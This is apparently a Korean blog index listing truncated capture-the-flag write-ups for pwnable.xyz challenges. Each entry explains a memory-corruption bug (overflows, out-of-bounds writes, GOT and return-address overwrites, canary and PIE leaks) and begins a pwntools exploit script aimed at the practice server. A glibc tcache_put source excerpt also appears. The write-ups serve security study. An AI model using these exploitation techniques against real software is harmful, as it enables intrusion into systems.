본문 바로가기

전체 글

(185)
pwnable.xyz / catalog 이름을 쓰고, 수정하고 출력하는 기능이 주어진다 이름을 쓰는 과정에서 이름을 채워준 뒤 strlen을 통해 이름의 총 길이를 구하는데 이때 이름을 모두 채워주면 strlen에서 이름의 길이 byte가 추가된 0x21byte를 반환 할 수 있어서 edit_name으로 길이를 0xff로 바꿔 print_name함수가 저장된 공간을 win으로 덮어 줬다 from pwn import * p = remote("svc.pwnable.xyz", 30023) #p = process("./catalog") def write_name(data): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"name: ") p.send(data) def edit_name(idx, data): p..
pwnable.xyz / PvP 너무 멍청했다 말하기도 쪽팔린다 strncpy가 널바이트가 나올때까지 복사된다고 생각했다 strncay으로 포인터를 덮을 수 있고 exit got함수를 win함수로 덮어서 시그널 터질때 플래그가 출력되도록했다 from pwn import * #context.log_level = "debug" exit_got = 0x6020a0 def save(): p.recvuntil(b"> ") p.sendline(b"4") p.recvuntil(b"message? ") p.sendline(b"3") def append(arr, func_type): p.recvuntil(b"> ") p.sendline(str(func_type)) p.recvuntil(b"me ") num = int(p.recvuntil(b" ")) ..
pwnable.xyz / bookmark 북마크 프로그램으로 아래와 같은 기능들이 주어진다 로그인 url 생성 url 출력 url 저장 ( 미구현으로 flag를 출력해 줌) 종료 생성된 비밀번호를 올바르게 입력하게 되면 key가 1이 되어서 url을 저장 기능을 통해 플래그를 출력 시킬 수 있다 strncat으로 bm에 buf를 저장할 수 있다 '/' 또는 ':'인 경우 bm의 길이를 계속 증가 시킬 수 있어서 key까지 덮어버려서 플래그 주도록 했다 from pwn import * p = remote("svc.pwnable.xyz", 30021) #p = process("./bookmark") def create_url(data, length): p.recvuntil(b"> ") p.sendline(b"2") p.recvuntil(b"inse..
pwnable.xyz / attack 옛날에 쥬니어네이버에서 했던 록맨 게임 생각나서 재미있었다 게임이 끝날때 마다 RANK가 증가하는데 1번 이상할 경우 equit를 수정할 수 있고 3번 증가했을 때 스킬을 수정할 수 있 다 do_skill_change함수에서 스킬을 선택해서 힐과 공격 타입 중에서 선택하여 바꾸는 과정에서 OOB가 터진다 equip 수정할 때 win함수 넣고 스킬 타입 변경할때 OOB로 win함수가 들어가도록해서 해당 스킬을 사용 시 win함수가 호출되도록했다 from pwn import * #context.log_level = "debug" p = remote("svc.pwnable.xyz", 30020) #p = process("./attack") win = 0x401372 def mod_name(data): whil..
pwnable.xyz / rwsr 메모리 릭하고 aaw가 가능하다 FULL RELRO가 걸려있어서 environ을 통해 스택을 릭해서 ret주소에 win을 넣거나 rtld 사용하는 방법으로 생각했다 로컬에서는 익스가 안되서 왜 이러나 싶었는데 그냥 리모트로 날려보니까 익스가 됐다 from pwn import * context.log_level = "debug" p = remote("svc.pwnable.xyz", 30019) #p = process("./rwsr", env={"LD_PRELOAD" : "./alpine-libc-2.28.so"}) libc = ELF("./alpine-libc-2.28.so") #gdb.attach(p) def read(addr): p.recvuntil(b"> ") p.sendline(b"1") p.rec..
pwnable.xyz / message 메시지 수정 메시지 출력 admin이면 플래그 출력 get_choise함수에는 OOB가 터지는 걸로 canary랑 pie를 릭하면 된다 릭한 뒤 메시지 수정에서 scanf로 bof가 터져서 ret를 win함수로 덮어주면된다 from pwn import * p = remote("svc.pwnable.xyz", 30017) #p = process("./message") def leak(data): p.recvuntil(b"> ") p.sendline(bytes([data])) p.recvuntil(b"Error: ") leak = int(p.recvuntil(b" ")) return bytes([leak]) main = 0x1a + 0x30 cnry = 0xb + 0x30 win = 0xab0 p.recvu..
pwnable.xyz / UAF 게임 실행 게임 저장 저장한 게임 삭제 이름 수정 이름을 수정할 수 있는 기능을 보면 원하는 문자를 1byte 변경이 가능하다 이때 strchrnul함수를 호출하는데 해당 함수는 문자열에서 인자를 받아 포인터를 반환한다 만약 찾는 문자가 문자열에 없으면 문자열 끝에 널 바이트가 있는 주소를 반환하게 된다 이걸 통해 calc(게임)함수가 있는 곳까지 overflow낸뒤 2byte를 바꿔 win함수로 만들어 주고 게임을 실행시켜 플래그를 얻으면 된다 from pwn import * p = remote("svc.pwnable.xyz", 30015) #p = process("./uaf") def change_char(ch_char, new_char): p.recvuntil(b"> ") p.sendline(b"5..
(glibc 2.29) tcache_put 전체 코드 아래 더보기 더보기 /* Caller must ensure that we know tc_idx is valid and there's room for more chunks. */ static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx key = tcache; e->next = tcache->en..